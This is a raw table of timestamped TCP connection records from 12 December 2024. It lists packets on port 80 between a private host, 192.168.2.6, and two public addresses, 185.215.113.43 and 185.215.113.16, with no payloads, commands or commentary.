Dec 12, 2024 21:50:23.753787041 CET	80	49895	185.215.113.43	192.168.2.6
Dec 12, 2024 21:50:23.753839970 CET	49895	80	192.168.2.6	185.215.113.43
Dec 12, 2024 21:50:23.753907919 CET	49913	80	192.168.2.6	185.215.113.43
Dec 12, 2024 21:50:23.754055023 CET	49913	80	192.168.2.6	185.215.113.43
Dec 12, 2024 21:50:23.873819113 CET	80	49913	185.215.113.43	192.168.2.6
Dec 12, 2024 21:50:25.106772900 CET	80	49913	185.215.113.43	192.168.2.6
Dec 12, 2024 21:50:25.106853962 CET	49913	80	192.168.2.6	185.215.113.43
Dec 12, 2024 21:50:25.157022953 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:25.157336950 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:25.277174950 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:25.277213097 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:25.277290106 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:25.277354956 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:25.277523994 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:25.400584936 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:26.612027884 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:26.612121105 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:26.612133026 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:26.612155914 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:26.612205982 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:26.612205982 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:26.612463951 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:26.612476110 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:26.612487078 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:26.612498999 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:26.612513065 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:26.612601042 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:26.613055944 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:26.613066912 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:26.613076925 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:26.613132954 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:26.613133907 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:26.732064962 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:26.732120037 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:26.738706112 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:26.804016113 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:26.804099083 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:26.804402113 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:26.808104992 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:26.808306932 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:26.809701920 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:26.809847116 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:26.809887886 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:26.809982061 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:26.818212986 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:26.818346024 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:26.818348885 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:26.818428993 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:26.826695919 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:26.826781034 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:26.826809883 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:26.827532053 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:26.835110903 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:26.835139036 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:26.835238934 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:26.843415022 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:26.843524933 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:26.845195055 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:26.852040052 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:26.852055073 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:26.852175951 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:26.860311031 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:26.860385895 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:26.860469103 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:26.860470057 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:26.868808031 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:26.868837118 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:26.868901014 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:26.868901014 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:26.876718998 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:26.876821041 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:26.879972935 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:26.884836912 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:26.887573004 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:26.924173117 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:26.927355051 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:26.996069908 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:26.996186018 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:26.996216059 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:26.996295929 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:26.998675108 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:26.998810053 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:26.998892069 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.003676891 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.005460024 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.005590916 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.005613089 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.007352114 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.010719061 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.010795116 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.010812044 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.011570930 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.015681028 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.015795946 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.017133951 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.020631075 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.020718098 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.020788908 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.021014929 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.025243998 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.025456905 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.025490999 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.025578022 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.030196905 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.030210972 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.030379057 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.034993887 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.035053015 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.035079002 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.035214901 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.039733887 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.039791107 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.039803028 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.039962053 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.044564962 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.044617891 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.044766903 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.045193911 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.049458981 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.049520016 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.049529076 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.049566984 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.054203987 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.054270983 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.054385900 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.054482937 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.059067011 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.059117079 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.059180021 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.059227943 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.063136101 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.063292980 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.063429117 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.067225933 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.067442894 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.067568064 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.071410894 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.071543932 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.071569920 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.075290918 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.075443983 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.075567961 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.075613976 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.076076984 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.079662085 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.079797029 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.079832077 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.080507994 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.083656073 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.083847046 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.084296942 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.087929010 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.088109016 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.188662052 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.188736916 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.188766003 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.188805103 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.190181017 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.190306902 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.190386057 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.190578938 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.193160057 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.193232059 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.193262100 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.193384886 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.195909977 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.196021080 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.196213007 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.198959112 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.199079990 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.199105024 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.199235916 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.201971054 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.202080011 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.202122927 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.202167988 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.204819918 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.204884052 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.204906940 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.205590963 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.207679987 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.207746029 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.208595037 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.210484028 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.210576057 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.210932016 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.213195086 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.213285923 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.213439941 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.215902090 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.216027021 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.216048002 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.216474056 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.218658924 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.218767881 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.218794107 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.218858957 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.221348047 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.221570969 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.221595049 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.221920013 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.224113941 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.224251986 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.224275112 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.224946022 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.226847887 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.226939917 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.227015972 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.229530096 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.229649067 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.229680061 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.231935024 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.232275009 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.232398033 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.232436895 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.232491970 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.234972954 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.235074997 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.235089064 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.235173941 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.237711906 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.237812042 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.237829924 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.237921953 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.240417004 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.240554094 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.240602970 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.240869045 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.243196964 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.243258953 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.243294954 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.243567944 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.245841980 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.245920897 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.245938063 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.246392965 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.248656034 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.248879910 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.248881102 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.249057055 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.251355886 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.251462936 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.251496077 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.251830101 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.254105091 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.254162073 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.254195929 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.254302025 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.256761074 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.256869078 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.256875992 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.257050991 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.259458065 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.259568930 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.259601116 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.259787083 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.262155056 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.262243986 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.262274981 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.262336969 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.264940977 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.265043974 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.265070915 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.265218019 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.267597914 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.267669916 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.267729044 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.268225908 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.270443916 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.270550013 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.270617962 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.270706892 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.273010969 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.273080111 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.380713940 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.380809069 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.380817890 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.380901098 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.381716967 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.381793976 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.382066011 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.382131100 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.382159948 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.382364035 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.384111881 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.384218931 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.384289980 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.386431932 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.386528969 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.386550903 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.386914968 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.388581991 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.388712883 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.388897896 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.390798092 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.390875101 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.390903950 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.391407013 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.392879963 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.393008947 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.393486023 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.394978046 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.395077944 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.395087957 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.395162106 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.397049904 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.397169113 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.397321939 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.399101973 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.399230003 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.399405956 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.401227951 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.401290894 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.401360989 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.403209925 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.403331041 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.403367043 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.403486013 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.405287027 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.405388117 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.405450106 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.405450106 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.407337904 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.407450914 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.407476902 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.407552958 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.409409046 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.409677029 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.409760952 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.411539078 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.411638975 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.411664963 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.411767006 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.413537979 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.413662910 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.413686037 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.413817883 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.416018009 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.416098118 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.416300058 CET	49919	80	192.168.2.6	185.215.113.16
